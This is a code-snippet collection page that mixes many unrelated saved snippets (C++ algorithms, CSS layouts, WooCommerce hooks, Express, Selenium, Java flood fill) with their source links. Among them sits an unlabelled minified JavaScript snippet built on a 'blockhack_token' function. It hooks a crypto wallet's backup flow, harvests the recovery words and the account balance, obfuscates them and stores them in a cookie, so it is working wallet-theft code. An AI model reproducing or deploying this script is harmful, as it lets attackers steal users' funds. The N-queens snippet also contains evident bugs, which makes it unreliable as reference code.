Snippets Collections
#include <iostream>
#include<cmath>
#include<ctime>
#include<string>
#include <iomanip>
#include <fstream>

using namespace std;


bool primeNumber(int n);
bool Emirp(int n);
int reversal(int n);
int recursive(int a, int b);

int main()
{
	
	int count = 0;
	int number = 13;
	while (count <= 100)
	{
		if (Emirp(number))
		{
			count++;
			if (count % 10 == 0)
				cout << setw(7) << number << endl;
			else
				cout << setw(7) << number;
		}
		number++;
	}
		

}
bool primeNumber(int n) {
	
		for (int i = 2; i <= n / 2; i++) {
			
			if (n % i == 0) {

				return false;
			}
		}
		return true;
}

bool Emirp(int n) {
	

	return primeNumber(n) && primeNumber(reversal(n));
	
}

int reversal(int n) {
	
		if (n < 10) {
			
				return n;
			
		}
		return recursive(n % 10, n / 10);
	
}

int recursive(int a, int b) {

	if (b < 1) {

		return a;

	}
	return recursive(a * 10 + b % 10, b / 10);
	
}



	
   




#include<iostream>
using namespace std;
bool issafe(int** arr,int x,int y,int n){
    for(int row=0;row<=x;row++){
        if(arr[x][y]==1){
            return false;
        }
    }
    int row=x;
    int col=y;
    while(row>=0 && col>=0){
        if(arr[row][col]==1){
            return false;
        }
        row--;
        col--;
    }
     row=x;
     col=y;
    while(row>=0 && col<n){
        if(arr[row][col]==1){
            return false;
        }
        row--;
        col++;
    }
    return true ;
}
bool nqueen(int** arr,int x,int n){
    if(x>=n){
        return true;
    }
    for(int col=0;col<=n;col++){
        if(issafe(arr,x,col,n)){
            arr[x][col]==1;
            if(nqueen(arr,x+1,n)){
                return true;
            }
            arr[x][col]=0;  //backtracking
            
        }
    }
    return false;
}
int main(){
    int n;
    cin>>n;
    int** arr=new int*[n];
    for(int i=0;i<n;i++){
        arr[i]=new int[n];
        for(int j=0;j<n;j++){
            arr[i][j]=0;

        }
    }
    if(nqueen(arr,0,n)){
        for(int i=0;i<n;i++){
            for(int j=0;j<n;j++){
                cout<<arr[i][j]<<"";
            }cout<<endl;
        }
    }


    return 0;
}
img {
  mask-image: url(‘mask.png’) linear-gradient(-45deg,
                        rgba(0,0,0,1) 20%, rgba(0,0,0,0) 50%);
  mask-image: url(#masking); /*referencing to the element generated and defined in SVG code*/
} 
<style>

 .circle:before {
                    content: ' \25CF';
                    font-size: 50px;
                    color: black;
                }
</style>

<span class="circle"></span>
.wrapper {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  grid-gap: 10px;
  grid-auto-rows: minmax(100px, auto);
}
.one {
  grid-column: 1 / 3;
  grid-row: 1;
}
.two { 
  grid-column: 2 / 4;
  grid-row: 1 / 3;
}
.three {
  grid-column: 1;
  grid-row: 2 / 5;
}
.four {
  grid-column: 3;
  grid-row: 3;
}
.five {
  grid-column: 2;
  grid-row: 4;
}
.six {
  grid-column: 3;
  grid-row: 4;
}
from datetime import datetime

datetime_object = datetime.strptime('Jun 1 2005  1:33PM', '%b %d %Y %I:%M%p')
add_filter( 'woocommerce_product_get_stock_quantity' ,'custom_get_stock_quantity', 10, 2 );
add_filter( 'woocommerce_product_variation_get_stock_quantity' ,'custom_get_stock_quantity', 10, 2 );
function custom_get_stock_quantity( $value, $product ) {
    $value = 15; // <== Just for testing
    return $value;
}
SELECT DurableId, FlowDefinitionView.Label, VersionNumber, Status FROM FlowVersionView WHERE FlowDefinitionView.Label LIKE '%PLACE PART OF THE FLOW NAME HERE%' AND Status != 'Active'



/* NOTE: When IMPORTING (Delete Action) - Mark API Type as "Tooling API", limit the batch to 10 and 1 thread (SF Limitation), and change DurableId to ID */
<?php 
// PHP program to find nth 
// magic number 

// Function to find nth 
// magic number 
function nthMagicNo($n) 
{ 
	$pow = 1; 
	$answer = 0; 

	// Go through every bit of n 
	while ($n) 
	{ 
	$pow = $pow * 5; 

	// If last bit of n is set 
	if ($n & 1) 
		$answer += $pow; 

	// proceed to next bit 
	$n >>= 1; // or $n = $n/2 
	} 
	return $answer; 
} 

// Driver Code 
$n = 5; 
echo "nth magic number is ", 
	nthMagicNo($n), "\n"; 

// This code is contributed by Ajit. 
?> 
[[NSProcessInfo processInfo] operatingSystemVersion]
function copyToClipboard(element) {
  var $temp = $("<input>");
  $("body").append($temp);
  $temp.val($(element).text()).select();
  document.execCommand("copy");
  $temp.remove();

}
var mongoose = require('mongoose');
var Schema = mongoose.Schema;
var slug = require('mongoose-slug-generator');

mongoose.plugin(slug);

const pageSchema = new Schema({
    title: { type: String , required: true},
    slug: { type: String, slug: "title" }
});

var Page = mongoose.model('Page', pageSchema);
module.exports = Page;
render() {
  return (
    <View style={styles.container}>
      <Image source={require('./assets/climbing_mountain.jpeg')} style={styles.imageContainer}>
      </Image>
      <View style={styles.overlay} />
    </View>
  )
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    width: null,
    height: null,
  },
  imageContainer: {
    flex: 1,
    width: null,
    height: null,
  },
  overlay: {
    ...StyleSheet.absoluteFillObject,
    backgroundColor: 'rgba(69,85,117,0.7)',
  }
})
const scale = (num, in_min, in_max, out_min, out_max) => {
  return (num - in_min) * (out_max - out_min) / (in_max - in_min) + out_min;
}
function isArrayInArray(arr, item){
  var item_as_string = JSON.stringify(item);

  var contains = arr.some(function(ele){
    return JSON.stringify(ele) === item_as_string;
  });
  return contains;
}

var myArray = [
  [1, 0],
  [1, 1],
  [1, 3],
  [2, 4]
]
var item = [1, 0]

console.log(isArrayInArray(myArray, item));  // Print true if found
function checkSign(num){
    
return num > 0 ? "Postive": num<0 ? "Negative": "zero";
}

console.log(checkSign(0));
(async () => {
  const rawResponse = await fetch('https://httpbin.org/post', {
    method: 'POST',
    headers: {
      'Accept': 'application/json',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({a: 1, b: 'Textual content'})
  });
  const content = await rawResponse.json();

  console.log(content);
})();
// It seems like something happened to these strings
// Can you figure out how to clear up the chaos?
// Write a function that joins these strings together such that they form the following words:
// 'Javascript', 'Countryside', and 'Downtown'
// You might want to apply basic JS string methods such as replace(), split(), slice() etc

function myFunction (a, b) {

 	b = b.split('').reverse().join	('')
	return a.concat(b).replace(/[^a-zA-Z ]/g, '')

}

myFunction('java', 'tpi%rcs')   // returns 'javascript'
myFunction('c%ountry', 'edis')	// returns 'countryside'
myFunction('down', 'nw%ot')		// returns 'downtown'
var obj = {
  x: 45,
  b: {
    func: function(){alert('a')},
    name: "b"
  },
  a: "prueba"
};

var nw = moveProp(obj, "a", "x"); //-- move 'a' to position of 'x'
console.log(nw, obj);


//--

function moveProp(obj, moveKey, toKey){
  var temp = Object.assign({}, obj)
  var tobj;
  var resp = {};

  tobj = temp[moveKey];
  delete temp[moveKey];
  for(var prop in temp){
    if (prop===toKey) resp[moveKey] = tobj;
    resp[prop] = temp[prop]; 
  }
  return resp;
}
router.post('/:id/edit', auth.requireLogin, (req, res, next) => {
  Post.findByIdAndUpdate(req.params.id, req.body, function(err, post) {
    if(err) { console.error(err) };

     res.redirect(`/`+req.params.id);
  });
});
var express = require("express");
var app = express();
const session = require('express-session');
var MemcachedStore = require('connect-memjs')(session);

// configure sessions
var store = new MemcachedStore({servers: [process.env.MEMCACHEDCLOUD_SERVERS], username: process.env.MEMCACHEDCLOUD_USERNAME, password: process.env.MEMCACHEDCLOUD_PASSWORD});
app.use(session({ secret: 'keyboard cat',
   resave: true,
   saveUninitialized: true,
   cookie: { secure: true }, 
   store: store
}))
add_filter( 'woocommerce_available_payment_gateways', 'conditionally_disable_cod_payment_method', 10, 1);
function conditionally_disable_cod_payment_method( $gateways ){
    // HERE define your Products IDs
    $products_ids = array(2880);

    // Loop through cart items
    foreach ( WC()->cart->get_cart() as $cart_item ){
        // Compatibility with WC 3+
        $product_id = version_compare( WC_VERSION, '3.0', '<' ) ? $cart_item['data']->id : $cart_item['data']->get_id();
        if (in_array( $cart_item['product_id'], $products_ids ) ){
            unset($gateways['cod']);
            break; // As "COD" is removed we stop the loop
        }
    }
    return $gateways;
}
use App\Http\Controllers\OtherController;

class TestController extends Controller
{
    public function index()
    {
        //Calling a method that is from the OtherController
        $result = (new OtherController)->method();
    }
}

2) Second way

app('App\Http\Controllers\OtherController')->method();

Both way you can get another controller function.
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
def read_csv_pgbar(csv_path, chunksize, usecols, dtype=object):


    # print('Getting row count of csv file')

    rows = sum(1 for _ in open(csv_path, 'r')) - 1 # minus the header
    # chunks = rows//chunksize + 1
    # print('Reading csv file')
    chunk_list = []

    with tqdm(total=rows, desc='Rows read: ') as bar:
        for chunk in pd.read_csv(csv_path, chunksize=chunksize, usecols=usecols, dtype=dtype):
            chunk_list.append(chunk)
            bar.update(len(chunk))

    df = pd.concat((f for f in chunk_list), axis=0)
    print('Finish reading csv file')

    return df
Copyright <script>document.write(new Date().getFullYear())</script>  All rights reserved - 
from google.colab import files

uploaded = files.upload()

for fn in uploaded.keys():
  print('User uploaded file "{name}" with length {length} bytes'.format(
      name=fn, length=len(uploaded[fn])))
bar(?=bar)     finds the 1st bar ("bar" which has "bar" after it)
bar(?!bar)     finds the 2nd bar ("bar" which does not have "bar" after it)
(?<=foo)bar    finds the 1st bar ("bar" which has "foo" before it)
(?<!foo)bar    finds the 2nd bar ("bar" which does not have "foo" before it)
function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}
<meta name="viewport" content="width=device-width, initial-scale=.5, maximum-scale=12.0, minimum-scale=.25, user-scalable=yes"/>
<!DOCTYPE html>
<html>
<body>
​
<h2>JavaScript Comparison</h2>
​
<p>Assign 5 to x, and display the value of the comparison (x == 8):</p>
​
<p id="demo"></p>
​
<script>
var x = 5;
document.getElementById("demo").innerHTML = (x == 8);
</script>
​
</body>
</html>
​
Vehicle::find(3)->value('register_number');
--add-metadata --postprocessor-args "-metadata artist=Pink\ Floyd"
dd_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' );
/* * custom_woocommerce_template_loop_add_to_cart**/
function custom_woocommerce_product_add_to_cart_text() {	
global $product;		
  $product_type = $product->get_type();		switch ( $product_type ) {		case 'external':			return _( 'Buy product', 'woocommerce' );		break;		case 'grouped':			return _( 'View products', 'woocommerce' );		break;		case 'simple':			return _( 'Add to cart', 'woocommerce' );		break;		case 'variable':			return _( 'Select options', 'woocommerce' );		break;		default:			return __( 'Read more', 'woocommerce' );	}	}
import pickle
import os
from google_auth_oauthlib.flow import Flow, InstalledAppFlow
from googleapiclient.discovery import build
from googleapiclient.http import MediaFileUpload, MediaIoBaseDownload
from google.auth.transport.requests import Request


def Create_Service(client_secret_file, api_name, api_version, *scopes):
    print(client_secret_file, api_name, api_version, scopes, sep='-')
    CLIENT_SECRET_FILE = client_secret_file
    API_SERVICE_NAME = api_name
    API_VERSION = api_version
    SCOPES = [scope for scope in scopes[0]]
    print(SCOPES)

    cred = None

    pickle_file = f'token_{API_SERVICE_NAME}_{API_VERSION}.pickle'
    # print(pickle_file)

    if os.path.exists(pickle_file):
        with open(pickle_file, 'rb') as token:
            cred = pickle.load(token)

    if not cred or not cred.valid:
        if cred and cred.expired and cred.refresh_token:
            cred.refresh(Request())
        else:
            flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES)
            cred = flow.run_local_server()

        with open(pickle_file, 'wb') as token:
            pickle.dump(cred, token)

    try:
        service = build(API_SERVICE_NAME, API_VERSION, credentials=cred)
        print(API_SERVICE_NAME, 'service created successfully')
        return service
    except Exception as e:
        print('Unable to connect.')
        print(e)
        return None

def convert_to_RFC_datetime(year=1900, month=1, day=1, hour=0, minute=0):
    dt = datetime.datetime(year, month, day, hour, minute, 0).isoformat() + 'Z'
    return dt
AlertDialog.Builder builder = new AlertDialog.Builder(context);
...
...
AlertDialog dialog = builder.create();

ColorDrawable back = new ColorDrawable(Color.TRANSPARENT);
InsetDrawable inset = new InsetDrawable(back, 20);
dialog.getWindow().setBackgroundDrawable(inset);

dialog.show();
#watch-page-skeleton{position:relative;z-index:1;margin:0 auto;box-sizing:border-box}#watch-page-skeleton #info-container,#watch-page-skeleton #related{box-sizing:border-box}.watch-skeleton .text-shell{height:20px;border-radius:2px}.watch-skeleton .skeleton-bg-color{background-color:hsl(0,0%,89%)}.watch-skeleton .skeleton-light-border-bottom{border-bottom:1px solid hsl(0,0%,93.3%)}html[dark] .watch-skeleton .skeleton-bg-color{background-color:hsl(0,0%,16%)}html[dark] .watch-skeleton .skeleton-light-border-bottom{border-bottom:1px solid hsla(0,100%,100%,.08)}.watch-skeleton .flex-1{-ms-flex:1;-webkit-flex:1;flex:1;-webkit-flex-basis:.000000001px;flex-basis:.000000001px}.watch-skeleton #primary-info{height:64px;padding:20px 0 8px}.watch-skeleton #primary-info #title{width:400px;margin-bottom:12px}.watch-skeleton #primary-info #info{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;-webkit-align-items:center;align-items:center}.watch-skeleton #primary-info #info #count{width:200px}.watch-skeleton #primary-info #info #menu{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;padding-right:8px}.watch-skeleton #primary-info .menu-button{height:20px;width:20px;border-radius:50%;margin-left:20px}.watch-skeleton #secondary-info{height:151px;margin-bottom:24px;padding:16px 0}.watch-skeleton #secondary-info #top-row,.watch-skeleton #secondary-info #top-row #video-owner{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row}.watch-skeleton #secondary-info #top-row #video-owner #channel-icon{height:48px;width:48px;border-radius:50%;margin-right:16px}.watch-skeleton #secondary-info #top-row #video-owner #upload-info{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column;-moz-justify-content:center;-webkit-justify-content:center;justify-content:center}.watch-skeleton #secondary-info #top-row #video-owner #upload-info #owner-name{width:200px;margin-bottom:12px}.watch-skeleton #secondary-info #top-row #video-owner #upload-info #published-date{width:200px}.watch-skeleton #secondary-info #top-row #subscribe-button{width:137px;height:36px;border-radius:2px;margin:7px 4px 0 0}#watch-page-skeleton #related{float:right;position:relative;clear:right;max-width:426px;width:calc(100% - 640px)}#watch-page-skeleton.theater #related{width:100%}.watch-skeleton #related .autoplay{margin-bottom:16px}.watch-skeleton #related[playlist] .autoplay{border-bottom:none;margin-bottom:0}.watch-skeleton #related #upnext{height:20px;width:120px;margin-bottom:14px}.watch-skeleton #related[playlist] #upnext{display:none}.watch-skeleton #related .video-details{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:row;flex-direction:row;padding-bottom:8px}.watch-skeleton #related:not([playlist]) .autoplay .video-details{padding-bottom:16px}.watch-skeleton #related .video-details .thumbnail{height:94px;width:168px;margin-right:8px}.watch-skeleton #related .video-details .video-title{width:200px;margin-bottom:12px}.watch-skeleton #related .video-details .video-meta{width:120px}@media (max-width:999px){#watch-page-skeleton{width:854px}#watch-page-skeleton #container{display:-moz-flexbox;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column}#watch-page-skeleton #info-container{order:1}#watch-page-skeleton #related{order:2;width:100%;max-width:100%}}@media (max-width:856px){#watch-page-skeleton{width:640px}}@media (max-width:656px){#watch-page-skeleton{width:426px}}@media (min-width:882px){#watch-page-skeleton.theater{width:100%;max-width:1706px;padding:0 32px}#watch-page-skeleton.theater #related{margin-top:0}#watch-page-skeleton.theater #info-container>*{margin-right:24px}}@media (min-width:1000px){#watch-page-skeleton{width:100%;max-width:1066px}#watch-page-skeleton #related{margin-top:-360px;padding-left:24px}#watch-page-skeleton #info-container{width:640px}#watch-page-skeleton.theater #info-container{width:100%;padding-right:426px}}@media (min-width:1294px) and (min-height:630px){#watch-page-skeleton{width:100%;max-width:1280px}#watch-page-skeleton #related{margin-top:-480px}#watch-page-skeleton #info-container{width:854px}}@media (min-width:1720px) and (min-height:980px){#watch-page-skeleton{width:100%;max-width:1706px}#watch-page-skeleton #related{margin-top:-720px}#watch-page-skeleton #info-container{width:1280px}}#watch-page-skeleton.theater.theater-all-widths{width:100%;max-width:1706px;padding:0 32px}#watch-page-skeleton.theater.theater-all-widths #related{margin-top:0}#watch-page-skeleton.theater.theater-all-widths #info-container>*{margin-right:24px}#watch-page-skeleton #related{display:none}
#include<bits/stdc++.h>
using namespace std;
int main()
{
	int n,min=0,sum=0,k=0;
	cin >> n;
	int a[n];
	for(int i=0;i<n;i++)
	{
		cin >> a[i];	
	}
	    for(int i=0;i<n-1;i++)
		sum = sum + pow(abs(a[i] - a[i+1]),2);
		
		min = sum;
	
	    int b[n-1];
	
		for(int i=0;i<n-1;i++)
		{
			b[i] = (a[i] + a[i+1])/2;

		}
		int tt = 1;
	vector<vector<int> > d;
	int qwe=0;
	for(int i=0;i<n-1;i++)
	{
	    vector<int> v;
	for(int j=0;j<n;j++)
	{
	    	if((j == tt) && qwe ==0)
	    	{
			v.push_back(b[tt-1]);
			j--;
			qwe = 1;
	    	}
			else
	        v.push_back(a[j]);
	}
	tt++;
	qwe=0;
	d.push_back(v);
	}
	
			sum = 0;
			for(int i=0;i<n-1;i++)
			{
					for(int j=0;j<=n-1;j++)
					{
					    	sum = sum + pow(abs(d[i][j] - d[i][j+1]),2);
					}
					if(sum < min)
					min = sum;
					
					sum = 0;
			}
			
			cout << min;
	
}
package com.lgcns.esg.repository.system.Custom;
import com.lgcns.esg.model.response.system.PageResult;
import com.querydsl.core.BooleanBuilder;
import com.querydsl.core.types.Projections;
import com.querydsl.core.types.dsl.PathBuilderFactory;
import com.querydsl.jpa.impl.JPAQuery;
import jakarta.persistence.EntityManager;
import jakarta.persistence.PersistenceContext;
import com.lgcns.esg.model.request.system.SearchSystemTypeRequest;
import com.lgcns.esg.model.response.system.SystemTypeResponse;
import lombok.RequiredArgsConstructor;
import org.springframework.data.domain.Pageable;
import org.springframework.data.jpa.repository.support.Querydsl;
import org.springframework.stereotype.Repository;

import java.util.List;


import static com.lgcns.esg.core.util.QueryBuilder.LIKE;
import static com.lgcns.esg.core.util.QueryBuilder.buildSearchPredicate;

@Repository
    @RequiredArgsConstructor
    public class SystemTypeRepositoryCustom {
        @PersistenceContext
        private final EntityManager entityManager;

        private static final QSystemType qSystemType = QSystemType.systemType;


        public PageResult<SystemTypeResponse> searchSystemType(SearchSystemTypeRequest request, Pageable pageable) {
            Querydsl querydsl = new Querydsl(entityManager, (new PathBuilderFactory().create(SystemTypeResponse.class)));
            JPAQuery<SystemTypeResponse> query = new JPAQuery<>(entityManager);
            BooleanBuilder conditions = new BooleanBuilder();
            query.select(Projections.bean(SystemTypeResponse.class, qSystemType.id, qSystemType.code, qSystemType.name)).from(qSystemType);
            conditions.and(qSystemType.isDeleted.eq(false));
            buildSearchPredicate(conditions, LIKE, qSystemType.code, request.getSystemTypeCode());
            buildSearchPredicate(conditions, LIKE, qSystemType.name, request.getSystemTypeName());
            query.where(conditions).orderBy(qSystemType.createAt.desc()).distinct();
            List<SystemTypeResponse> responses = querydsl.applyPagination(pageable, query).fetch();
            int count = (int)query.fetchCount();
            return new PageResult<>(count, responses);
        }
    }
}
#assign a value to a variable:
types_of_people = 10 
# make a string using variable name:
X = f “there are {types_of_people} types of people.”

Output:
There are 10 types of people
private boolean oneQueenPerRow() {
    int foundQueens;
    for (int i = 0; i < board.length; i++) {
        foundQueens = 0;//each loop is a checked row
        for (int j = 0; j < board.length; j++) {
            if (board[i][j] == QUEEN)
                foundQueens++;
        }
        if (foundQueens > 1) return false;
    }
    return true;
}
import java.util.ArrayDeque;
import java.util.Arrays;
import java.util.Queue;

class Pair {
    int x, y;

    public Pair(int x, int y) {
        this.x = x;
        this.y = y;
    }
}

class FloodFill
{
    // Below arrays details all 8 possible movements
    private static final int[] row = { -1, -1, -1, 0, 0, 1, 1, 1 };
    private static final int[] col = { -1, 0, 1, -1, 1, -1, 0, 1 };

    // check if it is possible to go to pixel (x, y) from
    // current pixel. The function returns false if the pixel
    // has different color or it is not a valid pixel
    public static boolean isSafe(char[][] M, int m, int n,
                                int x, int y, char target)
    {
        return x >= 0 && x < m && y >= 0 && y < n
                && M[x][y] == target;
    }

    // Flood fill using BFS
    public static void floodfill(char[][] M, int x, int y, char replacement)
    {
        int m = M.length;
        int n = M[0].length;

        // create a queue and enqueue starting pixel
        Queue<Pair> q = new ArrayDeque<>();
        q.add(new Pair(x, y));

        // get target color
        char target = M[x][y];

        // run till queue is not empty
        while (!q.isEmpty())
        {
            // pop front node from queue and process it
            Pair node = q.poll();

            // (x, y) represents current pixel
            x = node.x;
            y = node.y;

            // replace current pixel color with that of replacement
            M[x][y] = replacement;

            // process all 8 adjacent pixels of current pixel and
            // enqueue each valid pixel
            for (int k = 0; k < row.length; k++)
            {
                // if adjacent pixel at position (x + row[k], y + col[k]) is
                // a valid pixel and have same color as that of current pixel
                if (isSafe(M, m, n, x + row[k], y + col[k], target))
                {
                    // enqueue adjacent pixel
                    q.add(new Pair(x + row[k], y + col[k]));
                }
            }
        }
    }

    public static void main(String[] args)
    {
        // matrix showing portion of the screen having different colors
        char[][] M = {
            "YYYGGGGGGG".toCharArray(),
            "YYYYYYGXXX".toCharArray(),
            "GGGGGGGXXX".toCharArray(),
            "WWWWWGGGGX".toCharArray(),
            "WRRRRRGXXX".toCharArray(),
            "WWWRRGGXXX".toCharArray(),
            "WBWRRRRRRX".toCharArray(),
            "WBBBBRRXXX".toCharArray(),
            "WBBXBBBBXX".toCharArray(),
            "WBBXXXXXXX".toCharArray()
        };

        // start node
        int x = 3, y = 9;   // target color = "X"

        // replacement color
        char replacement = 'C';

        // replace target color with replacement color
        floodfill(M, x, y, replacement);

        // print the colors after replacement
        for (int i = 0; i < M.length; i++) {
            System.out.println(Arrays.toString(M[i]));
        }
    }
}
keytool -exportcert -list -v \
-alias <your-key-name> -keystore <path-to-production-keystore>
star

Tue Nov 10 2020 16:12:46 GMT+0000 (Coordinated Universal Time) http://cpp.sh/

@mahmoud hussein #c++

star

Thu Apr 08 2021 21:39:39 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/10359702/c-filehandling-difference-between-iosapp-and-iosate#:~:text=ios%3A%3Aapp%20%22set%20the,file%20when%20you%20open%20it.&text=The%20ios%3A%3Aate%20option,to%20the%20end%20of%20file.

@wowza12341 #c++

star

Fri Jul 02 2021 17:34:27 GMT+0000 (Coordinated Universal Time)

@rushi #c++

star

https://www.creativebloq.com/features/css-tricks-to-revolutionise-your-layouts

@mishka #css

star

Mon Mar 02 2020 22:07:43 GMT+0000 (Coordinated Universal Time)

@carlathemarla #css #shapes

star

Mon May 11 2020 21:33:40 GMT+0000 (Coordinated Universal Time) https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout

@Ulises Villa #css

star

Wed Jan 22 2020 18:52:28 GMT+0000 (Coordinated Universal Time) https://docs.python.org/3/library/datetime.html#datetime.datetime.strptime

@logicloss01 #python #dates #functions #python3.8

star

Tue May 31 2022 19:36:45 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/47611251/any-way-to-overwrite-get-stock-quantity-in-my-functions-php

@lancerunsite #wordpress #php #stock #quantity #filter

star

Thu Sep 19 2024 16:09:18 GMT+0000 (Coordinated Universal Time) https://caleksiev.wixsite.com/olzteam/post/salesforce-hacks-1-mass-delete-salesforce-flow-versions

@dannygelf #salesforce #flows #soql

star

Wed Dec 25 2019 13:48:42 GMT+0000 (Coordinated Universal Time) https://www.geeksforgeeks.org/find-nth-magic-number/

@marshmellow #php #interviewquestions #makethisbetter

star

https://stackoverflow.com/questions/3339722/how-to-check-ios-version

@mishka #ios #swift

star

https://codepen.io/shaikmaqsood/pen/XmydxJ

@mishka #javascript

star

Sat Aug 08 2020 04:06:55 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/41626402/react-native-backgroundcolor-overlay-over-image

@rdemo #javascript

star

Mon Mar 01 2021 11:02:16 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/10756313/javascript-jquery-map-a-range-of-numbers-to-another-range-of-numbers

@arhan #javascript

star

Wed May 26 2021 16:34:09 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/41661287/how-to-check-if-an-array-contains-another-array

@ejiwen #javascript

star

Mon May 31 2021 19:59:43 GMT+0000 (Coordinated Universal Time)

@uditsahani #javascript

star

Sat Jan 22 2022 06:40:02 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/29775797/fetch-post-json-data

@bronius #javascript

star

Wed May 18 2022 11:13:56 GMT+0000 (Coordinated Universal Time)

@ImrulKaisar #javascript

star

Tue Nov 21 2023 18:30:57 GMT+0000 (Coordinated Universal Time)

@marcopinero #javascript

star

Thu Feb 06 2020 12:35:11 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/42108036/how-to-disable-cash-on-delivery-on-some-specific-products-in-woocommerce

@karanikolasms #php

star

Fri Jun 04 2021 14:42:19 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/31948980/how-to-call-a-controller-function-in-another-controller-in-laravel-5/31949144

@mvieira #php

star

Thu Nov 11 2021 13:52:10 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/49565042/way-to-change-google-chrome-user-agent-in-selenium/49565254#49565254

@huskygeek #python

star

Tue Dec 14 2021 02:02:54 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/57174012/how-to-see-the-progress-bar-of-read-csv

#python
star

Tue Jan 14 2020 15:25:20 GMT+0000 (Coordinated Universal Time)

@lbrand

star

Sat Jun 06 2020 17:00:53 GMT+0000 (Coordinated Universal Time) chrome-extension://annlhfjgbkfmbbejkbdpgbmpbcjnehbb/images/saveicon.png

@hamzaafridi

star

Fri Oct 16 2020 18:35:36 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/2973436/regex-lookahead-lookbehind-and-atomic-groups

@saisandeepvaddi

star

Fri Nov 27 2020 12:54:01 GMT+0000 (Coordinated Universal Time)

@Alexxx

star

Wed Jun 10 2020 16:59:43 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/12392761/how-to-enable-pinch-zoom-on-website-for-mobile-devices

@samiharoon

star

Wed Oct 14 2020 11:24:59 GMT+0000 (Coordinated Universal Time) https://www.w3schools.com/js/tryit.asp?filename

@abhishekgangwar

star

Mon Dec 21 2020 00:26:51 GMT+0000 (Coordinated Universal Time) https://www.geeksforgeeks.org/how-to-handle-multiple-input-field-in-react-form-with-a-single-function/

@bifrost

star

Tue Feb 02 2021 17:41:39 GMT+0000 (Coordinated Universal Time) https://www.codegrepper.com/code-examples/php/get+single+column+value+in+laravel+eloquent

@mvieira

star

Sat Mar 27 2021 17:16:56 GMT+0000 (Coordinated Universal Time) https://amlanscloud.com/reactnativepwa/

@bifrost

star

Mon Apr 12 2021 03:20:10 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/39885346/youtube-dl-add-metadata-during-audio-conversion

@steadytom

star

Tue May 18 2021 20:01:30 GMT+0000 (Coordinated Universal Time)

@Shesek

star

Fri Jun 04 2021 07:59:01 GMT+0000 (Coordinated Universal Time) https://learndataanalysis.org/how-to-upload-a-video-to-youtube-using-youtube-data-api-in-python/

@admariner

star

Sat Jul 03 2021 08:25:15 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/6153489/how-to-set-margins-to-a-custom-dialog

@swalia

star

Sun Dec 19 2021 15:55:17 GMT+0000 (Coordinated Universal Time) https://www.youtube.com/s/desktop/21ad9f7d/cssbin/www-main-desktop-watch-page-skeleton.css

@Devanarayanan12

star

Sun Mar 06 2022 22:14:59 GMT+0000 (Coordinated Universal Time) https://ayushshuklas.blogspot.com

@ayushshuklas

star

Mon May 30 2022 11:13:08 GMT+0000 (Coordinated Universal Time) https://try.freemarker.apache.org/

@mdfaizi

star

Thu Feb 15 2024 08:24:36 GMT+0000 (Coordinated Universal Time) https://lk.ko-rista.ru/

@Asjnsvaah

star

